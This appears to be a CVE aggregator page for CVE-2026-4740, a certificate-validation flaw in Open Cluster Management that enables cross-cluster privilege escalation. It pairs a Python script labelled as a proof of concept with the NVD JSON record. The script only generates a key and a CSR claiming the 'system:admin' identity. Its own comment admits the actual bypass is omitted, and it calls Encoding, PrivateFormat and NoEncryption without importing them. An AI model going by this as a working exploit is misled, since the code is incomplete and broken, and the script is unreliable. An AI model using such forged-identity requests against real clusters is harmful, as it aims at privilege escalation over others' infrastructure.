CVE-2026-4740

#!/usr/bin/env python3 # PoC for CVE-2026-4740: Forged CSR generation # This script demonstrates how a managed cluster admin might generate a malicious CSR. from cryptography import x509 from cryptography.x509.oid import NameOID from cryptography.hazmat.primitives import hashes from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives.asymmetric import rsa import datetime def generate_malicious_csr(): # Generate a private key key = rsa.generate_private_key( public_exponent=65537, key_size=2048, backend=default_backend() ) # Create a CSR with specific subjects to exploit validation flaw subject = x509.Name([ x509.NameAttribute(NameOID.COMMON_NAME, "system:admin"), x509.NameAttribute(NameOID.ORGANIZATION_NAME, "attackers"), ]) # Note: In a real exploit, specific extensions or OIDs would be added # to bypass the specific OCM validation logic. csr = x509.CertificateSigningRequestBuilder().subject_name(subject).sign(key, hashes.SHA256(), default_backend()) print("[+] Malicious CSR Generated:") print(csr.public_bytes(Encoding.PEM).decode()) print("[+] Private Key Generated (Keep Secret):") print(key.private_bytes(Encoding.PEM, PrivateFormat.TraditionalOpenSSL, NoEncryption()).decode()) if __name__ == "__main__": generate_malicious_csr()

{"cve": {"id": "CVE-2026-4740", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:46.797", "lastModified": "2026-04-28T20:39:15.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Open Cluster Management (OCM), the technology underlying Red Hat Advanced Cluster Management (ACM). Improper validation of Kubernetes client certificate renewal allows a managed cluster administrator to forge a client certificate that can be approved by the OCM controller. This enables cross-cluster privilege escalation and may allow an attacker to gain control over other managed clusters, including the hub cluster."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:advanced_cluster_management_for_kubernetes:-:*:*:*:*:*:*:*", "matchCriteriaId": "7301AD20-0188-463F-9386-9D878AD3A542"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-4740", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://blog.arfevrier.fr/open-cluster-management-cross-cluster-escape/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2450590", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}